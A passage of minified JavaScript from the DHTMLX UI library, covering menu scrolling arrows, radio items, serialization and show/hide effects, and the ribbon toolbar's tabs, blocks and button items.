c=0;c<e.length;c++){if(this.idPull[e[c]]!=null&&this.itemPull[e[c]][\"state\"]==\"enabled\"){this.idPull[e[c]].className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_Item_Normal\"}}};dhtmlXMenuObject.prototype._checkArrowsState=function(g){var c=this.idPull[\"polygon_\"+g].childNodes[1];var e=this.idPull[\"arrowup_\"+g];var a=this.idPull[\"arrowdown_\"+g];if(c.scrollTop==0){e.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowUp_Disabled\"}else{e.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowUp\"+(e.over?\"_Over\":\"\")}if(c.scrollTop+c.offsetHeight<c.scrollHeight){a.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowDown\"+(a.over?\"_Over\":\"\")}else{a.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowDown_Disabled\"}c=e=a=null};dhtmlXMenuObject.prototype._addUpArrow=function(g){var c=this;var e=document.createElement(\"DIV\");e.pId=this.idPrefix+g;e.id=\"arrowup_\"+this.idPrefix+g;e.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowUp\";e.over=false;e.onselectstart=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false};e.oncontextmenu=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false};e.onmouseover=function(){if(c.conf.mode==\"web\"){window.clearTimeout(c.conf.tm_handler)}c._clearAllSelectedSubItemsInPolygon(this.pId);if(this.className==\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowUp_Disabled\"){return}this.className=\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowUp_Over\";this.over=true;c._canScrollUp=true;c._doScrollUp(this.pId,true)};e.onmouseout=function(){if(c.conf.mode==\"web\"){window.clearTimeout(c.conf.tm_handler);c.conf.tm_handler=window.setTimeout(function(){c._clearAndHide()},c.conf.tm_sec,\"JavaScript\")}this.over=false;c._canScrollUp=false;if(this.className==\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowUp_Disabled\"){return}this.className=\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowUp\";window.clearTimeout(c.conf.of_utm)};e.onclick=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}h.cancelBubble=true;return false};var a=this.idPull[\"polygon_\"+this.idPrefix+g];a.childNodes[0].appendChild(e);this.idPull[e.id]=e;a=e=null};dhtmlXMenuObject.prototype._addDownArrow=function(g){var c=this;var e=document.createElement(\"DIV\");e.pId=this.idPrefix+g;e.id=\"arrowdown_\"+this.idPrefix+g;e.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowDown\";e.over=false;e.onselectstart=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false};e.oncontextmenu=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false};e.onmouseover=function(){if(c.conf.mode==\"web\"){window.clearTimeout(c.conf.tm_handler)}c._clearAllSelectedSubItemsInPolygon(this.pId);if(this.className==\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowDown_Disabled\"){return}this.className=\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowDown_Over\";this.over=true;c._canScrollDown=true;c._doScrollDown(this.pId,true)};e.onmouseout=function(){if(c.conf.mode==\"web\"){window.clearTimeout(c.conf.tm_handler);c.conf.tm_handler=window.setTimeout(function(){c._clearAndHide()},c.conf.tm_sec,\"JavaScript\")}this.over=false;c._canScrollDown=false;if(this.className==\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowDown_Disabled\"){return}this.className=\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowDown\";window.clearTimeout(c.conf.of_dtm)};e.onclick=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}h.cancelBubble=true;return false};var a=this.idPull[\"polygon_\"+this.idPrefix+g];a.childNodes[2].appendChild(e);this.idPull[e.id]=e;a=e=null};dhtmlXMenuObject.prototype._removeUpArrow=function(c){var a=\"arrowup_\"+this.idPrefix+c;this._removeArrow(a)};dhtmlXMenuObject.prototype._removeDownArrow=function(c){var a=\"arrowdown_\"+this.idPrefix+c;this._removeArrow(a)};dhtmlXMenuObject.prototype._removeArrow=function(a){var c=this.idPull[a];c.onselectstart=null;c.oncontextmenu=null;c.onmouseover=null;c.onmouseout=null;c.onclick=null;if(c.parentNode){c.parentNode.removeChild(c)}c=null;this.idPull[a]=null;try{delete this.idPull[a]}catch(g){}};dhtmlXMenuObject.prototype._isArrowExists=function(a){if(this.idPull[\"arrowup_\"+a]!=null&&this.idPull[\"arrowdown_\"+a]!=null){return true}return false};dhtmlXMenuObject.prototype._doScrollUp=function(l,g){var a=this.idPull[\"polygon_\"+l].childNodes[1];if(this._canScrollUp&&a.scrollTop>0){var e=false;var h=a.scrollTop-this.conf.of_ustep;if(h<0){e=true;h=0}a.scrollTop=h;if(!e){var c=this;this.conf.of_utm=window.setTimeout(function(){c._doScrollUp(l,false);c=null},this.conf.of_utime)}else{g=true}}else{this._canScrollUp=false;this._checkArrowsState(l)}if(g){this._checkArrowsState(l)}};dhtmlXMenuObject.prototype._doScrollDown=function(l,g){var a=this.idPull[\"polygon_\"+l].childNodes[1];if(this._canScrollDown&&a.scrollTop+a.offsetHeight<=a.scrollHeight){var e=false;var h=a.scrollTop+this.conf.of_dstep;if(h+a.offsetHeight>=a.scrollHeight){e=true;h=a.scrollHeight-a.offsetHeight}a.scrollTop=h;if(!e){var c=this;this.conf.of_dtm=window.setTimeout(function(){c._doScrollDown(l,false);c=null},this.conf.of_dtime)}else{g=true}}else{this._canScrollDown=false;this._checkArrowsState(l)}if(g){this._checkArrowsState(l)}};dhtmlXMenuObject.prototype._countPolygonItems=function(l){var g=0;for(var c in this.itemPull){var e=this.itemPull[c][\"parent\"];var h=this.itemPull[c][\"type\"];if(e==this.idPrefix+l&&(h==\"item\"||h==\"radio\"||h==\"checkbox\")){g++}}return g};dhtmlXMenuObject.prototype.setOverflowHeight=function(g){if(g===\"auto\"){this.conf.overflow_limit=0;this.conf.auto_overflow=true;return}if(this.conf.overflow_limit==0&&g<=0){return}this._clearAndHide();if(this.conf.overflow_limit>=0&&g>0){this.conf.overflow_limit=g;return}if(this.conf.overflow_limit>0&&g<=0){for(var e in this.itemPull){if(this._isArrowExists(e)){var c=String(e).replace(this.idPrefix,\"\");this._removeUpArrow(c);this._removeDownArrow(c);this.idPull[\"polygon_\"+e].childNodes[1].style.height=\"\"}}this.conf.overflow_limit=0;return}};dhtmlXMenuObject.prototype._getRadioImgObj=function(g){try{var a=this.idPull[this.idPrefix+g].childNodes[(this.conf.rtl?2:0)].childNodes[0]}catch(c){var a=null}return a};dhtmlXMenuObject.prototype._setRadioState=function(g,e){var c=this._getRadioImgObj(g);if(c!=null){var a=this.itemPull[this.idPrefix+g];a.checked=e;a.imgen=\"rdbt_\"+(a.checked?\"1\":\"0\");a.imgdis=a.imgen;c.className=\"sub_icon \"+a.imgen}};dhtmlXMenuObject.prototype._radioOnClickHandler=function(g,a,c){if(a.charAt(1)==\"d\"||this.itemPull[this.idPrefix+g][\"group\"]==null){return}var e=this.itemPull[this.idPrefix+g][\"group\"];if(this.checkEvent(\"onRadioClick\")){if(this.callEvent(\"onRadioClick\",[e,this.getRadioChecked(e),g,this.conf.ctx_zoneid,c])){this.setRadioChecked(e,g)}}else{this.setRadioChecked(e,g)}if(this.checkEvent(\"onClick\")){this.callEvent(\"onClick\",[g])}};dhtmlXMenuObject.prototype.getRadioChecked=function(g){var l=null;for(var e=0;e<this.radio[g].length;e++){var h=this.radio[g][e].replace(this.idPrefix,\"\");var a=this._getRadioImgObj(h);if(a!=null){var c=(a.className).match(/rdbt_1$/gi);if(c!=null){l=h}}}return l};dhtmlXMenuObject.prototype.setRadioChecked=function(c,g){if(this.radio[c]==null){return}for(var a=0;a<this.radio[c].length;a++){var e=this.radio[c][a].replace(this.idPrefix,\"\");this._setRadioState(e,(e==g))}};dhtmlXMenuObject.prototype.addRadioButton=function(o,h,q,r,s,u,a,l){if(this.conf.context&&h==this.topId){}else{if(this.itemPull[this.idPrefix+h]==null){return}if(o==\"child\"&&this.itemPull[this.idPrefix+h][\"type\"]!=\"item\"){return}}var e=this.idPrefix+(r!=null?r:this._genStr(24));var m=\"rdbt_\"+(a?\"1\":\"0\");var c=m;if(o==\"sibling\"){var n=this.idPrefix+this.getParentId(h);this._addItemIntoGlobalStrorage(e,n,s,\"radio\",l,m,c);this._renderSublevelItem(e,this.getItemPosition(h))}else{var n=this.idPrefix+h;this._addItemIntoGlobalStrorage(e,n,s,\"radio\",l,m,c);if(this.idPull[\"polygon_\"+n]==null){this._renderSublevelPolygon(n,n)}this._renderSublevelItem(e,q-1);this._redefineComplexState(n)}var g=(u!=null?u:this._genStr(24));this.itemPull[e][\"group\"]=g;if(this.radio[g]==null){this.radio[g]=new Array()}this.radio[g][this.radio[g].length]=e;if(a==true){this.setRadioChecked(g,String(e).replace(this.idPrefix,\"\"))}};dhtmlXMenuObject.prototype.serialize=function(){var a=\"<menu>\"+this._readLevel(this.idPrefix+this.topId)+\"</menu>\";return a};dhtmlXMenuObject.prototype._readLevel=function(g){var h=\"\";for(var o in this.itemPull){if(this.itemPull[o][\"parent\"]==g){var c=\"\";var e=\"\";var r=\"\";var n=String(this.itemPull[o][\"id\"]).replace(this.idPrefix,\"\");var m=\"\";var q=(this.itemPull[o][\"title\"]!=\"\"?' text=\"'+this.itemPull[o][\"title\"]+'\"':\"\");var l=\"\";if(this.itemPull[o][\"type\"]==\"item\"){if(this.itemPull[o][\"imgen\"]!=\"\"){c=' img=\"'+this.itemPull[o][\"imgen\"]+'\"'}if(this.itemPull[o][\"imgdis\"]!=\"\"){e=' imgdis=\"'+this.itemPull[o][\"imgdis\"]+'\"'}if(this.itemPull[o][\"hotkey\"]!=\"\"){r=\"<hotkey>\"+this.itemPull[o][\"hotkey\"]+\"</hotkey>\"}}if(this.itemPull[o][\"type\"]==\"separator\"){m=' type=\"separator\"'}else{if(this.itemPull[o][\"state\"]==\"disabled\"){l=' enabled=\"false\"'}}if(this.itemPull[o][\"type\"]==\"checkbox\"){m=' type=\"checkbox\"'+(this.itemPull[o][\"checked\"]?' checked=\"true\"':\"\")}if(this.itemPull[o][\"type\"]==\"radio\"){m=' type=\"radio\" group=\"'+this.itemPull[o][\"group\"]+'\" '+(this.itemPull[o][\"checked\"]?' checked=\"true\"':\"\")}h+=\"<item id='\"+n+\"'\"+q+m+c+e+l+\">\";h+=r;if(this.itemPull[o][\"complex\"]){h+=this._readLevel(o)}h+=\"</item>\"}}return h};dhtmlXMenuObject.prototype.enableEffect=function(e,h,g){this._menuEffect=(e==\"opacity\"||e==\"slide\"||e==\"slide+\"?e:false);this._pOpStyleIE=(navigator.userAgent.search(/MSIE\\s[678]\\.0/gi)>=0);for(var c in this.idPull){if(c.search(/polygon/)===0){this._pOpacityApply(c,(this._pOpStyleIE?100:1));this.idPull[c].style.height=\"\"}}this._pOpMax=(typeof(h)==\"undefined\"?100:h)/(this._pOpStyleIE?1:100);this._pOpStyleName=(this._pOpStyleIE?\"filter\":\"opacity\");this._pOpStyleValue=(this._pOpStyleIE?\"progid:DXImageTransform.Microsoft.Alpha(Opacity=#)\":\"#\");this._pSlSteps=(this._pOpStyleIE?10:20);this._pSlTMTimeMax=g||50};dhtmlXMenuObject.prototype._showPolygonEffect=function(a){this._pShowHide(a,true)};dhtmlXMenuObject.prototype._hidePolygonEffect=function(a){this._pShowHide(a,false)};dhtmlXMenuObject.prototype._pOpacityApply=function(a,c){this.idPull[a].style[this._pOpStyleName]=String(this._pOpStyleValue).replace(\"#\",c||this.idPull[a]._op)};dhtmlXMenuObject.prototype._pShowHide=function(a,c){if(!this.idPull){return}if(this.idPull[a]._tmShow!=null){if((this.idPull[a]._step_h>0&&c==true)||(this.idPull[a]._step_h<0&&c==false)){return}window.clearTimeout(this.idPull[a]._tmShow);this.idPull[a]._tmShow=null;this.idPull[a]._max_h=null}if(c==false&&(this.idPull[a].style.visibility==\"hidden\"||this.idPull[a].style.display==\"none\")){return}if(c==true&&this.idPull[a].style.display==\"none\"){this.idPull[a].style.visibility=\"hidden\";this.idPull[a].style.display=\"\"}if(this.idPull[a]._max_h==null){this.idPull[a]._max_h=parseInt(this.idPull[a].offsetHeight);this.idPull[a]._h=(c==true?0:this.idPull[a]._max_h);this.idPull[a]._step_h=Math.round(this.idPull[a]._max_h/this._pSlSteps)*(c==true?1:-1);if(this.idPull[a]._step_h==0){return}this.idPull[a]._step_tm=Math.round(this._pSlTMTimeMax/this._pSlSteps);if(this._menuEffect==\"slide+\"||this._menuEffect==\"opacity\"){this.idPull[a].op_tm=this.idPull[a]._step_tm;this.idPull[a].op_step=(this._pOpMax/this._pSlSteps)*(c==true?1:-1);if(this._pOpStyleIE){this.idPull[a].op_step=Math.round(this.idPull[a].op_step)}this.idPull[a]._op=(c==true?0:this._pOpMax);this._pOpacityApply(a)}else{this.idPull[a]._op=(this._pOpStyleIE?100:1);this._pOpacityApply(a)}if(this._menuEffect.search(/slide/)===0){this.idPull[a].style.height=\"0px\"}this.idPull[a].style.visibility=\"visible\"}this._pEffectSet(a,this.idPull[a]._h+this.idPull[a]._step_h)};dhtmlXMenuObject.prototype._pEffectSet=function(e,c){if(!this.idPull){return}if(this.idPull[e]._tmShow){window.clearTimeout(this.idPull[e]._tmShow)}this.idPull[e]._h=Math.max(0,Math.min(c,this.idPull[e]._max_h));if(this._menuEffect.search(/slide/)===0){this.idPull[e].style.height=this.idPull[e]._h+\"px\"}c+=this.idPull[e]._step_h;if(this._menuEffect==\"slide+\"||this._menuEffect==\"opacity\"){this.idPull[e]._op=Math.max(0,Math.min(this._pOpMax,this.idPull[e]._op+this.idPull[e].op_step));this._pOpacityApply(e)}if((this.idPull[e]._step_h>0&&c<=this.idPull[e]._max_h)||(this.idPull[e]._step_h<0&&c>=0)){var a=this;this.idPull[e]._tmShow=window.setTimeout(function(){a._pEffectSet(e,c)},this.idPull[e]._step_tm)}else{if(this._menuEffect.search(/slide/)===0){this.idPull[e].style.height=\"\"}if(this.idPull[e]._step_h<0){this.idPull[e].style.visibility=\"hidden\"}if(this._menuEffect==\"slide+\"||this._menuEffect==\"opacity\"){this.idPull[e]._op=(this.idPull[e]._step_h<0?(this._pOpStyleIE?100:1):this._pOpMax);this._pOpacityApply(e)}this.idPull[e]._tmShow=null;this.idPull[e]._h=null;this.idPull[e]._max_h=null;this.idPull[e]._step_tm=null}};function dhtmlXRibbon(g){var e=this,c,a;this.conf={type:\"ribbon\",icons_path:(g&&g.icons_path)?g.icons_path:\"\",arrows_mode:(g&&g.arrows_mode)?g.arrows_mode:null,skin:\"dhx_skyblue\"};this._eventHandlers={};this._base=null;this._items={};this._tabbar=null;this.childIds=[];if(typeof(g)==\"string\"){a=g}else{if(g&&g.tagName){a=g}else{if(g&&g.parent){if(g.parent.tagName||typeof(g.parent)==\"string\"){a=g.parent}}}}this._doOnHighlight0=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].mouseover)==\"function\"){if(e.items[l.type].mouseover(l,e,n)!=true){return false}}if(!/dhxrb_highlight0/.test(h.className)){h.className+=\" dhxrb_highlight0\"}};this._doOffHighlight0=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].mouseout)==\"function\"){if(e.items[l.type].mouseout(l,e,n)!=true){return false}}if(/dhxrb_highlight1/.test(h.className)){h.className=h.className.replace(/\\s?dhxrb_highlight1/,\"\")}if(/dhxrb_highlight0/.test(h.className)){h.className=h.className.replace(/\\s?dhxrb_highlight0/,\"\")}};this._doOnHighlight1=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}e.callEvent(\"_showPopup\",[l.id]);if(e.items[l.type]&&typeof(e.items[l.type].mousedown)==\"function\"){if(e.items[l.type].mousedown(l,e,n)!=true){return false}}if(!/dhxrb_highlight1/.test(h.className)){h.className+=\" dhxrb_highlight1\"}};this._doOffHighlight1=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].mouseup)==\"function\"){if(e.items[l.type].mouseup(l,e,n)!=true){return false}}if(/dhxrb_highlight1/.test(h.className)){h.className=h.className.replace(/\\s?dhxrb_highlight1/,\"\")}};this._doOnClick=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].click)==\"function\"){e.items[l.type].click(l,e,n)}};this._doOnFocus=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}e.callEvent(\"_showPopup\",[l.id]);if(e.items[l.type]&&typeof(e.items[l.type].focus)==\"function\"){e.items[l.type].focus(l,e,n)}};this._doOnBlur=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].blur)==\"function\"){e.items[l.type].blur(l,e,n)}};this._doOnChange=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].change)==\"function\"){e.items[l.type].change(l,e,n)}};this._doOnKeydown=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].keydown)==\"function\"){e.items[l.type].keydown(l,e,n)}};this._tabCustomApi={enable:function(n,m){var l=null,h=null;m=m||false;if(m!=true){l=e._items[this._idd];for(h in l.childIds){h=parseInt(h);e.enable(l.childIds[h])}}return e._tabOriginalApi.enable.apply(this,[n])},disable:function(n,m){var l=null,h=null;if(m!=false){l=e._items[this._idd];for(h in l.childIds){h=parseInt(h);e.disable(l.childIds[h])}}return e._tabOriginalApi.disable.apply(this,[n])},close:function(m){var l=e._items[this._idd],h;e._removeTab(l);e._tabOriginalApi.close.apply(this,[m]);for(h in e._tabOriginalApi){this[h]=null}}};this._attachEventTabbar=function(){this._tabbar.attachEvent(\"onSelect\",function(){return e.callEvent(\"onSelect\",arguments)});this._tabbar.attachEvent(\"onTabClick\",function(){return e.callEvent(\"onTabClick\",arguments)});this._tabbar.attachEvent(\"onTabClose\",function(){return e.callEvent(\"onTabClose\",arguments)})};if(typeof(a)==\"string\"){this._base=document.getElementById(a)}else{if(a&&a.tagName){this._base=a}else{this._base=document.createElement(\"div\");this._base._dhx_remove=true;if(document.body.firstChild){document.body.insertBefore(this._base,document.body.firstChild)}else{document.body.appendChild(this._base)}}}c=dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||dhx4.skinDetect(\"dhtmlxribbon\")||\"dhx_skyblue\";if(typeof(g)==\"object\"&&g.skin){c=g.skin}this.setSkin(c);dhx4._eventable(this);dhx4._enableDataLoading(this,\"_renderData\",\"_xmlToJson\",\"ribbon\",{struct:true});this.attachEvent(\"_onHeightChanged\",function(){this.conf.inited=true});this._base.className+=\" dhxrb_without_tabbar\";this._base.innerHTML=\"<div class='dhxrb_background_area'></div>\";if(g!=null){if(g.json){this.loadStruct(g.json,g.onload)}else{if(g.xml){this.loadStruct(g.xml,g.onload)}else{this._renderData(g)}}}this.unload=function(){var l=null,h=[];for(l in this.childIds){l=parseInt(l);h.push(this.childIds[l])}dhx4._enableDataLoading(this,null,null,null,\"clear\");dhx4._eventable(this,\"clear\");for(l in h){l=parseInt(l);if(this._items[h[l]].type==\"tab\"){this.tabs(h[l]).close(false)}else{this.removeItem(h[l])}}if(this._tabbar){this._tabbar.unload();this._tabbar=null}this._base.innerHTML=\"\";if(this._base._dhx_remove){this._base.parentNode.removeChild(this._base)}else{this._base.className=this._base.className.replace(/\\s?(dhtmlx|dhxrb)(\\S*)/ig,\"\")}for(l in this){this[l]=null}e=null}}dhtmlXRibbon.prototype.setSizes=function(){if(this._tabbar!=null&&typeof(this.setSizes)==\"function\"){this._tabbar.setSizes()}};dhtmlXRibbon.prototype._renderData=function(c){var a=this._base.firstChild;if(c!=null){this.conf.icons_path=c.icons_path||this.conf.icons_path;if(c.tabs instanceof Array){this._base.className=this._base.className.replace(/\\s?dhxrb_without_tabbar/i,\"\");a.className=\"dhxrb_with_tabbar\";this._tabbar=new dhtmlXTabBar(a);this._attachEventTabbar();this._tabbar.setSkin(this.conf.skin);if(this.conf.arrows_mode!=null){this._tabbar.setArrowsMode(this.conf.arrows_mode)}this.childIds=this._appendTabs(c.tabs)}else{if(c.items instanceof Array){if(!/\\s?dhxrb_without_tabbar/i.test(this._base.className)){this._base.className+=\" dhxrb_without_tabbar\"}if(/\\s?dhxrb_background_area/i.test(a.className)){a.className=\"dhxrb_background_area\"}a.innerHTML=\"<div class='dhxrb_g_area'></div>\";this.childIds=this._appendBlocks(c.items,a.firstChild)}}this.callEvent(\"_onHeightChanged\",[])}};dhtmlXRibbon.prototype._xmlToJson=function(c){var a=c.lastChild||null,g={},e=[];if(a&&a.tagName==\"ribbon\"){e=this._convertXmlNodeListIntoObject(a.childNodes)}if(e[0]&&e[0].type&&e[0].type.toLowerCase()==\"block\"){g.items=e}else{g.tabs=e}return g};dhtmlXRibbon.prototype._convertXmlNodeListIntoObject=function(c){var e,a,h=[],g;a=c.length;for(e=0;e<a;e++){g=this._covertXmlNodeToObject(c[e]);if(g){h.push(g)}}return h};dhtmlXRibbon.prototype._covertXmlNodeToObject=function(g){if(!g||!g.tagName||!(g.tagName.toLowerCase()==\"item\"||g.tagName.toLowerCase()==\"tab\")){return null}var e,a,c=g.attributes,h={};a=c.length;for(e=0;e<a;e++){switch(c[e].name){case\"isbig\":h.isbig=dhx4.s2b(c[e].value);break;case\"state\":h.state=dhx4.s2b(c[e].value);break;default:h[c[e].name]=c[e].value}}if(g.childNodes.length){if(g.getAttribute(\"type\")==\"buttonCombo\"||g.getAttribute(\"type\")==\"buttonSelect\"){h.data=g}else{if(g.tagName.toLowerCase()==\"tab\"){h.items=this._convertXmlNodeListIntoObject(g.childNodes)}else{h.list=this._convertXmlNodeListIntoObject(g.childNodes)}}}return h};dhtmlXRibbon.prototype._appendTabs=function(h){var c,a,e,g=[];a=h.length;for(c=0;c<a;c++){e=this._addTab(h[c]);if(h[c].items instanceof Array){e.childIds=this._appendBlocks(h[c].items,e.base,e)}g.push(e.id)}return g};dhtmlXRibbon.prototype._addTab=function(e){var a,g,c={conf:{active:false,text:\"\",width:null,position:null,disable:false},base:document.createElement(\"div\"),type:\"tab\",childIds:[]};for(a in e){if(a==\"items\"){continue}c.conf[a]=e[a]}if(!e.id){c.id=dhx4.newId()}else{c.id=e.id}while(this._items[c.id]){c.id=dhx4.newId()}this._tabbar.addTab(c.id,c.conf.text,c.conf.width,c.conf.position,c.conf.active);c.base.className=\"dhxrb_g_area\";c.base._dhx_ribbonId=c.id;this.tabs(c.id).attachObject(c.base);this._changeApiForTab(this.tabs(c.id));this._items[c.id]=c;return c};dhtmlXRibbon.prototype._changeApiForTab=function(c){var a;for(a in this._tabOriginalApi){this._tabOriginalApi[a]=this._tabOriginalApi[a]||c[a];c[a]=this._tabCustomApi[a]}};dhtmlXRibbon.prototype._tabOriginalApi={enable:null,disable:null,close:null};dhtmlXRibbon.prototype._appendBlocks=function(a,s,e){var m,g,n,h,o,c,r=[];e=e||null;g=a.length;for(m=0;m<g;m++){if(typeof(a[m])==\"object\"&&a[m].type==\"block\"){n=this._addBlock(a[m],s);if(a[m].list&&(a[m].list instanceof Array)){h=a[m].list;o=h.length;for(c=0;c<o;c++){this._addItem(n.id,null,null,h[c])}}if(e!=null){n.parentId=e.id}if(n.conf.disable){this.disable(n.id)}r.push(n.id)}}return r};dhtmlXRibbon.prototype._addBlock=function(h,g){var e,a,m,c;m={conf:{text:\"\",text_pos:\"bottom\",type:\"block\",mode:\"cols\",disable:false},type:\"block\",childIds:[],base:document.createElement(\"div\"),contForItems:document.createElement(\"div\"),contForText:document.createElement(\"div\")};for(c in h){if(c==\"list\"||c==\"type\"||c==\"id\"){continue}m.conf[c]=h[c]}if(!h.id){m.id=dhx4.newId()}else{m.id=h.id}while(this._items[m.id]){m.id=dhx4.newId()}m.base.className=\"dhxrb_block_base\";g.appendChild(m.base);m.contForItems.className=\"dhxrb_block_items\";m.contForText.className=\"dhxrb_block_label\";m.base.appendChild(m.contForItems);if(m.conf.text){m.contForText.innerHTML=m.conf.text;if(m.conf.text_pos==\"top\"){m.base.insertBefore(m.contForText,m.contForItems)}else{m.base.appendChild(m.contForText)}}m.base._dhx_ribbonId=m.id;this._items[m.id]=m;return m};dhtmlXRibbon.prototype._addItem=function(e,c,o,m){var h=this._items[e],a,l,r=null,n=this,g;if(m.type!=\"newLevel\"&&!this.items[m.type]){return null}if(m.type==\"newLevel\"){this._addNewLevel(h)}else{if(h.type==\"group\"){a=document.createElement(\"div\");a.className=\"dhxrb_in_group\";h.base.appendChild(a)}else{if(m.isbig){a=document.createElement(\"div\");a.className=\"dhxrb_big_button\";h.contForItems.appendChild(a)}else{l=this._getContainerForSmallItem(h);a=document.createElement(\"div\");a.className=(h.conf.mode==\"rows\")?\"dhxrb_in_row\":\"dhxrb_3rows_button\";l.appendChild(a)}}}if(a){this._attachEventForItem(a);g={icons_path:m.icons_path||this.conf.icons_path,skin:this.conf.skin};for(var q in m){g[q]=m[q]}if(!g.id){g.id=dhx4.newId()}while(this._items[g.id]){g.id=dhx4.newId()}r=(this.items[g.type]&&this.items[g.type].render)?this.items[g.type].render(a,g):null}if(r!=null){this._items[r.id]=r;r.parentId=h.id;h.childIds.push(r.id);a._dhx_ribbonId=r.id;if(g.onclick&&(typeof(g.onclick)==\"function\")){this._eventHandlers[r.id]=this._eventHandlers[r.id]||{};this._eventHandlers[r.id][\"onclick\"]=g.onclick}r.callEvent=function(){n.callEvent.apply(n,arguments)};r._callHandler=function(){n._callHandler.apply(n,arguments)};if(this.items[g.type]&&typeof(this.items[g.type].callAfterInit)==\"function\"){this.items[g.type].callAfterInit.apply(this,[r])}}return r};dhtmlXRibbon.prototype._callHandler=function(c,a){if(this._eventHandlers[c]&&this._eventHandlers[c].onclick){this._eventHandlers[c].onclick.apply(this,a)}};dhtmlXRibbon.prototype.items={};dhtmlXRibbon.prototype.items.button={render:function(c,a){var e,g;g={base:c,id:a.id,type:a.type,conf:{text:\"\",text_pos:(a.isbig)?\"bottom\":\"right\",img:null,imgdis:null,isbig:false,disable:false,skin:a.skin}};for(e in a){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=a[e]}c.innerHTML=\"<img class='dhxrb_image\"+((g.conf.img)?\"'\":\" dhxrb_invisible'\")+\" src='\"+((g.conf.img)?g.conf.icons_path+g.conf.img:\"\")+\"' /><div class='dhxrb_label_button'>\"+g.conf.text+\"</div>\";if(typeof(this.afterRender)==\"function\"){this.afterRender(g)}if(g.conf.disable){this.disable(g)}return g},getText:function(a){return a.conf.text},setText:function(c,e){var a=c.base.childNodes[1];c.conf.text=e;a.innerHTML=e},setImage:function(c,a){c.conf.img=a;if(c.conf.disable==false){c.base.childNodes[0].src=c.conf.icons_path+c.conf.img}},setImageDis:function(c,a){c.conf.imgdis=a;if(c.conf.disable==true){c.base.childNodes[0].src=c.conf.icons_path+c.conf.imgdis}},mousedown:function(a,g,c){return true},click:function(a,g,c){if(c.button!=0){return false}g._callHandler(a.id,[a.id]);a.callEvent(\"onClick\",[a.id]);return false},disable:function(c){var e=c.base.childNodes[0],a=c.base.childNodes[1];if(c.conf.imgdis){e.src=c.conf.icons_path+c.conf.imgdis;if(/\\s?dhxrb_invisible/i.test(e.className)){e.className=e.className.replace(/\\s?dhxrb_invisible/i,\"\")}}if(!/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className+=\" dhxrb_disable_text_style\"}return true},enable:function(c){var e=c.base.childNodes[0],a=c.base.childNodes[1];if(c.conf.img){e.src=c.conf.icons_path+c.conf.img}else{if(!/\\s?dhxrb_invisible/i.test(e.className)){e.className+=\" dhxrb_invisible\"}}if(/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className=a.className.replace(/\\s?dhxrb_disable_text_style/i,\"\")}return true}};dhtmlXRibbon.prototype.items.buttonTwoState={click:function(a,g,c){return false},afterRender:function(a){if(a.conf.state){this.setState(a,a.conf.state)}},mouseover:function(a){if(!/dhxrb_highlight0/.test(a.base.className)){a.base.className+=\" dhxrb_highlight0\"}return false},mouseout:function(a){if(/dhxrb_highlight0/.test(a.base.className)){a.base.className=a.base.className.replace(/\\s?dhxrb_highlight0/,\"\")}return false},mousedown:function(a,g,c){g._callHandler(a.id,[a.id,!a.conf.state]);this.setState(a,!a.conf.state,true);return false},mouseup:function(a){return false},setState:function(a,c,e){e=e||false;c=dhx4.s2b(c);if(c){if(!/dhxrb_highlight1/.test(a.base.className)){a.base.className+=\" 